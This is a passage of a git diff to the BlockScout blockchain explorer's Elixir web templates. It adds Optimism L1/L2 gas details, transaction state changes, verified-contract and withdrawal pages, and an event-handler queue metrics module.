    <%= if status == :pending do %> @@ -109,12 +114,15 @@ <% confirmations = confirmations(@transaction, block_height: @block_height) %> - <%= if status == :pending do %> - <%= render BlockScoutWeb.FormView, "_tag.html", text: formatted_status, additional_classes: ["large"] %> - <% else %> - <%= render BlockScoutWeb.FormView, "_tag.html", text: formatted_status, additional_classes: ["success", "large"] %> + <%= cond do %> + <% status == :pending -> %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: formatted_status, additional_classes: ["large"] %> + <% @transaction.error == "dropped/replaced" -> %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: @transaction.error, additional_classes: ["large"] %> + <% true -> %> + <%= render BlockScoutWeb.FormView, "_tag.html", text: formatted_status, additional_classes: ["success", "large"] %> <% end %> - + <%= if confirmations > 0 do %> <%= gettext "Confirmed by " %><%= confirmations %><%= " " <> confirmations_ds_name(confirmations) %> <% end %> @@ -137,7 +145,7 @@ <%= render(BlockScoutWeb.TransactionView, "_decoded_input_body.html", method_id: method_id, text: text, mapping: mapping, error: true) %> <% _ -> %> <% hex = BlockScoutWeb.TransactionView.get_pure_transaction_revert_reason(@transaction) %> - <% utf8 = BlockScoutWeb.TransactionView.decoded_revert_reason(@transaction) %> + <% utf8 = BlockScoutWeb.TransactionView.decode_revert_reason_as_utf8(hex) %>
    Raw:<%= raw("\t") %><%= hex %><%= raw("\n") %>UTF-8:<%= raw("\t") %><%= utf8 %>
    @@ -187,6 +195,49 @@ <% end %> + <%= if Application.get_env(:explorer, :chain_type) == :optimism && @transaction.l1_block_number do %> + +
    +
    + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Block number containing the transaction on L1.") %> + <%= gettext "L1 Block" %>
    +
    + <%= if block do %> + <%= link( + @transaction.l1_block_number, + class: "transaction__link", + to: "https://eth-goerli.blockscout.com/block/#{@transaction.l1_block_number}" + ) %> + <% else %> + <%= formatted_result(status) %> + <% end %> +
    +
    + <% end %> + + <% %{transaction_actions: transaction_actions} = transaction_actions(@transaction) %> + <%= unless Enum.empty?(transaction_actions) do %> +
    +
    + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Highlighted events of the transaction.") %> + <%= gettext "Transaction Action" %> +

    <%= gettext "Scroll to see more" %>

    +
    +
    +
    + <% transaction_actions_indexed = Enum.with_index(transaction_actions) %> + <% transaction_actions_length = Enum.count(transaction_actions) %> + <%= for {action, i} <- transaction_actions_indexed do %> + <% action_assigns = Map.put(assigns, :action, action) %> + <% action_assigns = Map.put(action_assigns, :isLast, (i == transaction_actions_length - 1)) %> + <%= render BlockScoutWeb.TransactionView, "_actions.html", action_assigns %> + <% end %> +
    +
    +
    + <% end %>
    @@ -194,10 +245,11 @@ text: gettext("Address (external or contract) sending the transaction.") %> <%= gettext "From" %>
    - <%= render BlockScoutWeb.AddressView, "_link.html", address: from_address, contract: BlockScoutWeb.AddressView.contract?(from_address), use_custom_tooltip: false, trimmed: false %> + <%= render BlockScoutWeb.AddressView, "_link.html", address: from_address, contract: Address.smart_contract?(from_address), use_custom_tooltip: false, trimmed: false %> + <%= render BlockScoutWeb.AddressView, "_labels.html", tags: @from_tags %> <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders"], - clipboard_text: from_address_hash, + clipboard_text: Address.checksum(from_address_hash), aria_label: gettext("Copy From Address"), title: gettext("Copy From Address") %>
    @@ -209,7 +261,7 @@
    <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", text: gettext("Address (external or contract) receiving the transaction.") %> - <%= if BlockScoutWeb.AddressView.contract?(to_address) && !created_address_hash do %> + <%= if Address.smart_contract?(to_address) && !created_address_hash do %> <%= gettext "Interacted With (To)" %> <% else %> <%= gettext "To" %> @@ -219,18 +271,20 @@ <%= cond do %> <% created_address_hash -> %> [<%= gettext("Contract") %>  - <%= render BlockScoutWeb.AddressView, "_link.html", address: to_address, contract: BlockScoutWeb.AddressView.contract?(to_address), use_custom_tooltip: false, trimmed: false %> + <%= render BlockScoutWeb.AddressView, "_link.html", address: to_address, contract: Address.smart_contract?(to_address), use_custom_tooltip: false, trimmed: false %> + <%= render BlockScoutWeb.AddressView, "_labels.html", tags: @to_tags %>  <%= gettext("created") %>] <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders"], - clipboard_text: recipient_address_hash, + clipboard_text: Address.checksum(recipient_address_hash), aria_label: gettext("Copy To Address"), title: gettext("Copy To Address") %> <% recipient_address_hash -> %> - <%= render BlockScoutWeb.AddressView, "_link.html", address: to_address, contract: BlockScoutWeb.AddressView.contract?(to_address), use_custom_tooltip: false, trimmed: false %> + <%= render BlockScoutWeb.AddressView, "_link.html", address: to_address, contract: Address.smart_contract?(to_address), use_custom_tooltip: false, trimmed: false %> + <%= render BlockScoutWeb.AddressView, "_labels.html", tags: @to_tags %> <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", additional_classes: ["btn-copy-icon-small", "btn-copy-icon-custom", "btn-copy-icon-no-borders"], - clipboard_text: recipient_address_hash, + clipboard_text: Address.checksum(recipient_address_hash), aria_label: gettext("Copy To Address"), title: gettext("Copy To Address") %> <% true -> %> @@ -241,7 +295,7 @@ <% {_type, %{token_transfers: token_transfers} = transaction_with_transfers} when is_list(token_transfers) and token_transfers != [] -> %> <% %{transfers: transfers, mintings: mintings, burnings: burnings, creations: creations} = aggregate_token_transfers(transaction_with_transfers.token_transfers) %> - <%= if Enum.count(transfers) > 0 do %> + <%= unless Enum.empty?(transfers) do %>
    <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", @@ -257,7 +311,7 @@
    <% end %> - <%= if Enum.count(mintings) > 0 do %> + <%= unless Enum.empty?(mintings) do %>
    <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", @@ -274,7 +328,7 @@
    <% end %> - <%= if Enum.count(burnings) > 0 do %> + <%= unless Enum.empty?(burnings) do %>
    <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", @@ -290,7 +344,7 @@
    <% end %> - <%= if Enum.count(creations) > 0 do %> + <%= unless Enum.empty?(creations) do %>
    <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", @@ -317,7 +371,7 @@
    <%= value(@transaction) %> <%= if !empty_exchange_rate?(@exchange_rate) do %> ( - data-usd-exchange-rate=<%= @exchange_rate.usd_value %>> + data-usd-exchange-rate=<%= @exchange_rate.fiat_value %>> ) <% end %>
    @@ -333,16 +387,22 @@ <%= formatted_fee(@transaction, denomination: :ether) %> <%= if !empty_exchange_rate?(@exchange_rate) do %> - ( data-usd-exchange-rate=<%= @exchange_rate.usd_value %>>) + ( data-usd-exchange-rate=<%= @exchange_rate.fiat_value %>>) <% end %>
    - +
    - <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", - text: gettext("Price per unit of gas specified by the sender. Higher gas prices can prioritize transaction inclusion during times of high usage.") %> - <%= gettext "Gas Price" %> + <%= if Application.get_env(:explorer, :chain_type) == :optimism do %> + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Price per unit of gas specified by the sender on L2. Higher gas prices can prioritize transaction inclusion during times of high usage.") %> + <%= gettext "L2 Gas Price" %> + <% else %> + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Price per unit of gas specified by the sender. Higher gas prices can prioritize transaction inclusion during times of high usage.") %> + <%= gettext "Gas Price" %> + <% end %>
    <%= gas_price(@transaction, :gwei) %>
    @@ -360,9 +420,15 @@
    - <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", - text: gettext("Maximum gas amount approved for the transaction.") %> - <%= gettext "Gas Limit" %> + <%= if Application.get_env(:explorer, :chain_type) == :optimism do %> + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Maximum gas amount approved for the transaction on L2.") %> + <%= gettext "L2 Gas Limit" %> + <% else %> + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Maximum gas amount approved for the transaction.") %> + <%= gettext "Gas Limit" %> + <% end %>
    <%= format_gas_limit(@transaction.gas) %>
    @@ -395,31 +461,72 @@
    <%= format_wei_value(priority_fee, :ether) %>
    - <% end %> - <%= if !is_nil(burned_fee) do %> + <% end %> + <%= if !is_nil(burnt_fees) do %>
    <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", - text: gettext("Amount of") <> " " <> gettext("Ether") <> " " <> gettext("burned for this transaction. Equals Block Base Fee per Gas * Gas Used.") %> + text: gettext("Amount of") <> " " <> Explorer.coin_name() <> " " <> gettext("burnt for this transaction. Equals Block Base Fee per Gas * Gas Used.") %> <%= gettext "Transaction Burnt Fee" %>
    -
    <%= format_wei_value(burned_fee, :ether) %> +
    <%= format_wei_value(burnt_fees, :ether) %> <%= unless empty_exchange_rate?(@exchange_rate) do %> - ( data-usd-exchange-rate=<%= @exchange_rate.usd_value %>>) + ( data-usd-exchange-rate=<%= @exchange_rate.fiat_value %>>) <% end %>
    <% end %> - +
    - <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", - text: gettext("Actual gas amount used by the transaction.") %> - <%= gettext "Gas Used by Transaction" %> + <%= if Application.get_env(:explorer, :chain_type) == :optimism do %> + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Actual gas amount used by the transaction on L2.") %> + <%= gettext "L2 Gas Used by Transaction" %> + <% else %> + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Actual gas amount used by the transaction.") %> + <%= gettext "Gas Used by Transaction" %> + <% end %>
    <% gas_used_perc = gas_used_perc(@transaction) %>
    <%= gas_used(@transaction) %> <%= if gas_used_perc, do: "| #{gas_used_perc}%" %>
    + <%= if Application.get_env(:explorer, :chain_type) == :optimism do %> + <%= if @transaction.l1_gas_used do %> + +
    +
    + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("L1 Gas Used by Transaction") %> + <%= gettext "L1 Gas Used by Transaction" %> +
    +
    <%= l1_gas_used(@transaction) %>
    +
    + <% end %> + <%= if @transaction.l1_gas_used do %> + +
    +
    + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("L1 Gas Price") %> + <%= gettext "L1 Gas Price" %> +
    +
    <%= l1_gas_price(@transaction, :gwei) %>
    +
    + <% end %> + <%= if @transaction.l1_fee_scalar do %> + +
    +
    + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("L1 Fee Scalar") %> + <%= gettext "L1 Fee Scalar" %> +
    +
    <%= @transaction.l1_fee_scalar %>
    +
    + <% end %> + <% end %>
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction_log/_logs.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction_log/_logs.html.eex index 2b1b4e0d35a0..fe36dc6964e7 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction_log/_logs.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction_log/_logs.html.eex @@ -1,7 +1,7 @@
    <% decoded_result = decode(@log, @transaction) %> <%= case decoded_result do %> - <%= {:error, :contract_not_verified, _cadidates} -> %> + <% {:error, :contract_not_verified, _candidates} -> %>
    <%= gettext "To see accurate decoded input data, the contract must be verified." %> <%= case @log do %> @@ -16,11 +16,20 @@ <%= nil %> <% end %> + <% implementation_names = Implementation.names(@log.address) %> + <% implementation_name = + if Enum.empty?(implementation_names) do + nil + else + implementation_names |> Enum.at(0) + end + %> +
    <%= gettext "Address" %>

    - <% name = implementation_name(@log.address) || primary_name(@log.address)%> + <% name = implementation_name || primary_name(@log.address)%> <%= link( (if name, do: name <> " | "<> to_string(@log.address), else: @log.address), to: address_path(@conn, :show, @log.address), diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex new file mode 100644 index 000000000000..55cbe19bdb28 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex @@ -0,0 +1,19 @@ +

    <%= gettext "Raw Trace" %> + <%= unless Enum.empty?(@raw_traces) do %> + <% raw_trace_text = for {line, _} <- raw_traces_with_lines(@raw_traces), do: line %> + <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", + id: "tx-raw-trace-input", + additional_classes: ["tx-raw-input", "transaction-input"], + clipboard_text: raw_trace_text, + aria_label: gettext("Copy Value"), + title: gettext("Copy Raw Trace"), + style: "float: right;" %> + <% end %> +

    +<%= if Enum.empty?(@raw_traces) do %> +
    + <%= gettext "No trace entries found." %> +
    +<% else %> +
    <%= for {line, number} <- raw_traces_with_lines(@raw_traces) do %>
    <%= line %>
    <% end %>
    +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction_raw_trace/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction_raw_trace/index.html.eex index 8bb5c03b4969..7da4ff58985f 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction_raw_trace/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction_raw_trace/index.html.eex @@ -3,26 +3,8 @@
    <%= render BlockScoutWeb.TransactionView, "_tabs.html", assigns %> -
    -

    <%= gettext "Raw Trace" %> - <%= if Enum.count(@internal_transactions) > 0 do %> - <% raw_trace_text = for {line, _} <- raw_traces_with_lines(@internal_transactions), do: line %> - <%= render BlockScoutWeb.CommonComponentsView, "_btn_copy.html", - id: "tx-raw-trace-input", - additional_classes: ["tx-raw-input", "transaction-input"], - clipboard_text: raw_trace_text, - aria_label: gettext("Copy Value"), - title: gettext("Copy Raw Trace"), - style: "float: right;" %> - <% end %> -

    - <%= if Enum.count(@internal_transactions) > 0 do %> -
    <%= for {line, number} <- raw_traces_with_lines(@internal_transactions) do %>
    <%= line %>
    <% end %>
    - <% else %> -
    - <%= gettext "No trace entries found." %> -
    - <% end %> +
    + <%= render "_card_body.html", assigns %>
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_metatags.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_metatags.html.eex new file mode 100644 index 000000000000..85c3d6675f4a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_metatags.html.eex @@ -0,0 +1 @@ +<%= render BlockScoutWeb.TransactionView, "_metatags.html", conn: @conn, transaction: @transaction %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_state_change.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_state_change.html.eex new file mode 100644 index 000000000000..bd4abe9c19ca --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_state_change.html.eex @@ -0,0 +1,64 @@ +<% coin_or_transfer = if @coin_or_token_transfers == :coin, do: :coin, else: elem(List.first(@coin_or_token_transfers), 1) %> + + <%= if @address.hash == @burn_address_hash do %> + +
    + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Address used in token mintings and burnings.") %> + <%= gettext("Burn address") %> +
    + + + <%= render BlockScoutWeb.AddressView, "_link.html", address: @address, contract: Address.smart_contract?(@address), use_custom_tooltip: false %> + + + + <% else %> + <%= if Map.get(assigns, :miner) do %> + +
    + <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("A block producer who successfully included the block onto the blockchain.") %> + <%= gettext("Miner") %> +
    + + + <%= render BlockScoutWeb.AddressView, "_link.html", address: @address, contract: false, use_custom_tooltip: false %> + + <% else %> + + + <%= render BlockScoutWeb.AddressView, "_link.html", address: @address, contract: Address.smart_contract?(@address), use_custom_tooltip: false %> + + <% end %> + <%= if not_negative?(@balance_before) and not_negative?(@balance_after) do %> + + <%= display_value(@balance_before, coin_or_transfer, @token_id) %> + + + <%= display_value(@balance_after, coin_or_transfer, @token_id) %> + + <% else %> + + + <% end %> + <% end %> + + <%= if is_list(@coin_or_token_transfers) and coin_or_transfer.token.type == "ERC-721" do %> + <%= for {type, transfer} <- @coin_or_token_transfers do %> + <%= case type do %> + <% :from -> %> +
    ▼ <%= display_erc_721(transfer) %>
    + <% :to -> %> +
    ▲ <%= display_erc_721(transfer) %>
    + <% end %> + <% end %> + <% else %> + <%= if not_negative?(@balance_diff) do %> + ▲ <%= display_value(@balance_diff, coin_or_transfer, @token_id) %> + <% else %> + ▼ <%= display_value(absolute_value_of(@balance_diff), coin_or_transfer, @token_id) %> + <% end %> + <% end %> + + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_token_balance.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_token_balance.html.eex new file mode 100644 index 000000000000..17458e27875e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/_token_balance.html.eex @@ -0,0 +1,5 @@ +<%= if @token_id do %> + <%= BlockScoutWeb.Cldr.Number.to_string!(@balance, format: "#,###") %> <%= render BlockScoutWeb.TransactionView, "_transfer_token_with_id.html", transfer: @transfer, token_id: @token_id %> +<% else %> + <%= format_according_to_decimals(@balance, @transfer.token.decimals) %><%= " " %><%= render BlockScoutWeb.TransactionView, "_link_to_token_symbol.html", transfer: @transfer %> +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/index.html.eex new file mode 100644 index 000000000000..4e846ff351b1 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction_state/index.html.eex @@ -0,0 +1,58 @@ +
    + <%= render BlockScoutWeb.TransactionView, "overview.html", assigns %> +
    + <%= render BlockScoutWeb.TransactionView, "_tabs.html", assigns %> +
    +

    <%= gettext "State changes" %>

    + +
    + <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "top", show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> +
    + + + <%= cond do %> + <% Chain.transaction_to_status(@transaction) == :pending -> %> +
    + <%= gettext "The changes from this transaction have not yet happened since the transaction is still pending." %> +
    + <% not has_state_changes?(@transaction) -> %> +
    + <%= gettext "This transaction hasn't changed state." %> +
    + <% true -> %> +
    +
    + + + + + + + + + + + + <%= render BlockScoutWeb.CommonComponentsView, "_table-loader.html", columns_num: 5 %> + +
    +
     
    +
    +
    <%= gettext "Address" %>
    +
    +
    <%= gettext "Balance before" %>
    +
    +
    <%= gettext "Balance after" %>
    +
    +
    <%= gettext "Change" %>
    +
    +
    +
    + <% end %> + + <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "bottom", cur_page_number: "1", show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> +
    +
    +
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/transaction_token_transfer/_token_transfer.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/transaction_token_transfer/_token_transfer.html.eex index 885990a377ae..8611cb5b02ed 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/transaction_token_transfer/_token_transfer.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/transaction_token_transfer/_token_transfer.html.eex @@ -7,9 +7,9 @@
    <%= render BlockScoutWeb.TransactionView, "_link.html", transaction_hash: @token_transfer.transaction_hash %> - <%= render BlockScoutWeb.AddressView, "_link.html", address: @token_transfer.from_address, contract: BlockScoutWeb.AddressView.contract?(@token_transfer.from_address), use_custom_tooltip: false %> + <%= render BlockScoutWeb.AddressView, "_link.html", address: @token_transfer.from_address, contract: Address.smart_contract?(@token_transfer.from_address), use_custom_tooltip: false %> → - <%= render BlockScoutWeb.AddressView, "_link.html", address: @token_transfer.to_address, contract: BlockScoutWeb.AddressView.contract?(@token_transfer.to_address), use_custom_tooltip: false %> + <%= render BlockScoutWeb.AddressView, "_link.html", address: @token_transfer.to_address, contract: Address.smart_contract?(@token_transfer.to_address), use_custom_tooltip: false %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_contract.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_contract.html.eex new file mode 100644 index 000000000000..37e0145e3de8 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_contract.html.eex @@ -0,0 +1,64 @@ + + + + <%= render BlockScoutWeb.AddressView, + "_link.html", + address: @contract.address, + contract: true, + use_custom_tooltip: false + %> + + + + <%= balance(@contract.address) %> + + + + + <%= if @contract.address.transactions_count do %> + <%= Number.Delimit.number_to_delimited(@contract.address.transactions_count, precision: 0) %> + <% else %> + <%= gettext "N/A" %> + <% end %> + + + + + + <%= if @contract.is_vyper_contract, do: gettext("Vyper"), else: gettext("Solidity") %> + + + + + <%= @contract.compiler_version %> + + + + + <%= if @contract.optimization do %> + + <% else %> + + <% end %> + + + + <%= if @contract.constructor_arguments do %> + + <% else %> + + <% end %> + + + + + + + + <%= if @token && @token.decimals && @token.total_supply && @token.fiat_value do %> + + <% else %> + <%= gettext "N/A" %> + <% end %> + + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_metatags.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_metatags.html.eex new file mode 100644 index 000000000000..440c9bfeb44c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_metatags.html.eex @@ -0,0 +1,8 @@ + + <%= gettext( + "Verified contracts - %{subnetwork} Explorer", + subnetwork: BlockScoutWeb.LayoutView.subnetwork_title() + ) %> + +"> +"> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_stats.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_stats.html.eex new file mode 100644 index 000000000000..d69ebe0ec188 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/_stats.html.eex @@ -0,0 +1,33 @@ +
    +
    +
    +
    +

    <%= gettext "Contracts" %>

    +
    +
    +

    <%= BlockScoutWeb.Cldr.Number.to_string!(@contracts_count, format: "#,###") %>

    + <%= gettext ("Total") %> +
    +
    +

    <%= if 0 |> Decimal.new() |> Decimal.lt?(@new_contracts_count), do: "+" %><%= BlockScoutWeb.Cldr.Number.to_string!(@new_contracts_count, format: "#,###") %>

    + <%= gettext ("Last 24h") %> +
    +
    +
    +
    +

    <%= gettext "Verified Contracts" %>

    +
    +
    +

    <%= BlockScoutWeb.Cldr.Number.to_string!(@verified_contracts_count, format: "#,###") %>

    + <%= gettext ("Total") %> +
    +
    +

    <%= if 0 |> Decimal.new() |> Decimal.lt?(@new_verified_contracts_count), do: "+" %><%= BlockScoutWeb.Cldr.Number.to_string!(@new_verified_contracts_count, format: "#,###") %>

    + <%= gettext ("Last 24h") %> +
    +
    +
    + +
    +
    +
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/index.html.eex new file mode 100644 index 000000000000..1149eeab1f3c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/verified_contracts/index.html.eex @@ -0,0 +1,107 @@ +<%= render "_stats.html", assigns %> +
    + <%= render BlockScoutWeb.Advertisement.TextAdView, "index.html", conn: @conn %> +
    +
    +

    <%= gettext "Verified Contracts" %>

    + +
    + <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "top", cur_page_number: @page_number, show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> +
    + + + +
    + " placeholder="<%= gettext "Contract name or address" %>" id="search-text-input"> +
    + + + +
    +
    + + + + + + + + + + + + + + + + <%= render BlockScoutWeb.CommonComponentsView, "_table-loader.html", columns_num: 9 %> + +
    +
    <%= gettext "Address" %>
    +
    +
    <%= gettext "Balance" %>
    +
    +
    <%= gettext "Txns" %>
    +
    +
    <%= gettext "Compiler" %>
    +
    +
    <%= gettext "Version" %>
    +
    +
    <%= gettext "Optimization" %>
    +
    +
    <%= gettext "Constructor args" %>
    +
    +
    <%= gettext "Verified" %>
    +
    +
    <%= gettext "Market cap" %>
    +
    +
    +
    + +
    +
    +
    + + <%= gettext "There are no verified contracts." %> + +
    +
    + + <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "bottom", cur_page_number: @page_number, show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> +
    + +
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/visualize_sol2uml/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/visualize_sol2uml/index.html.eex new file mode 100644 index 000000000000..b78d3ef514ec --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/visualize_sol2uml/index.html.eex @@ -0,0 +1,36 @@ +
    +
    +
    +
    +
    <%= gettext("UML diagram") %>
    +

    + <%= gettext("For contract") %> + <%= link to: address_contract_path(@conn, :index, @address), "data-test": "address_hash_link" do %> + <%= render( + BlockScoutWeb.AddressView, + "_responsive_hash.html", + address: @address, + contract: true, + use_custom_tooltip: false + ) %> + <% end %> +

    +
    +
    + + + + + +
    + + + +
    +
    +
    +
    + +
    diff --git a/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/_metatags.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/_metatags.html.eex new file mode 100644 index 000000000000..b17983990baa --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/_metatags.html.eex @@ -0,0 +1,8 @@ + + <%= gettext( + "Beacon chain withdrawals - %{subnetwork} Explorer", + subnetwork: BlockScoutWeb.LayoutView.subnetwork_title() + ) %> + +"> +"> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/_withdrawal.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/_withdrawal.html.eex new file mode 100644 index 000000000000..cb3928bc0213 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/_withdrawal.html.eex @@ -0,0 +1,34 @@ + + + + <%= @withdrawal.index %> + + + + <%= @withdrawal.validator_index %> + + + + <%= render BlockScoutWeb.BlockView, + "_number_link.html", + block: @withdrawal.block + %> + + + + <%= render BlockScoutWeb.AddressView, + "_link.html", + address: @withdrawal.address, + contract: Address.smart_contract?(@withdrawal.address), + use_custom_tooltip: false + %> + + + + + + + + <%= format_wei_value(@withdrawal.amount, :ether) %> + + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/index.html.eex new file mode 100644 index 000000000000..33e6809ed697 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/withdrawal/index.html.eex @@ -0,0 +1,61 @@ +
    + <%= render BlockScoutWeb.Advertisement.TextAdView, "index.html", conn: @conn %> +
    +
    +

    <%= gettext "Withdrawals" %>

    + +
    + <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "top", cur_page_number: @page_number, show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> +
    + +

    <%= gettext("%{withdrawals_count} withdrawals processed and %{withdrawals_sum} withdrawn.", withdrawals_count: BlockScoutWeb.Cldr.Number.to_string!(@withdrawals_count, format: "#,###"), withdrawals_sum: format_wei_value(@withdrawals_sum, :ether)) %>

    + + + +
    +
    + + + + + + + + + + + + + <%= render BlockScoutWeb.CommonComponentsView, "_table-loader.html", columns_num: 6 %> + +
    +
    <%= gettext "Index" %>
    +
    +
    <%= gettext "Validator index" %>
    +
    +
    <%= gettext "Block" %>
    +
    +
    <%= gettext "To" %>
    +
    +
    <%= gettext "Age" %>
    +
    +
    <%= gettext "Amount" %>
    +
    +
    +
    + +
    +
    +
    + + <%= gettext "There are no withdrawals." %> + +
    +
    + + <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "bottom", cur_page_number: @page_number, show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> +
    + +
    diff --git a/apps/block_scout_web/lib/block_scout_web/utility/event_handlers_metrics.ex b/apps/block_scout_web/lib/block_scout_web/utility/event_handlers_metrics.ex new file mode 100644 index 000000000000..12742727766c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/utility/event_handlers_metrics.ex @@ -0,0 +1,59 @@ +defmodule BlockScoutWeb.Utility.EventHandlersMetrics do + @moduledoc """ + Module responsible for periodically setting current event handlers queue length metrics. + """ + + use GenServer + + alias BlockScoutWeb.RealtimeEventHandlers.{ + Main, + MainPage, + SmartContract, + TokenTransfer + } + + alias BlockScoutWeb.Prometheus.Instrumenter + + @interval :timer.minutes(1) + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def init(_) do + schedule_next_run() + + {:ok, %{}} + end + + def handle_info(:set_metrics, state) do + set_metrics() + schedule_next_run() + + {:noreply, state} + end + + defp set_metrics do + set_handler_metric(MainPage, :main_page) + set_handler_metric(Main, :common) + set_handler_metric(SmartContract, :smart_contract) + set_handler_metric(TokenTransfer, :token_transfer) + end + + defp set_handler_metric(handler, label) do + queue_length = + with pid when is_pid(pid) <- Process.whereis(handler), + {:message_queue_len, length} <- Process.info(pid, :message_queue_len) do + length + else + _ -> 0 + end + + Instrumenter.event_handler_queue_length(label, queue_length) + end + + defp schedule_next_run do + Process.send_after(self(), :set_metrics, @interval) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/utility/rate_limit_config_helper.ex b/apps/block_scout_web/lib/block_scout_web/utility/rate_limit_config_helper.ex new file 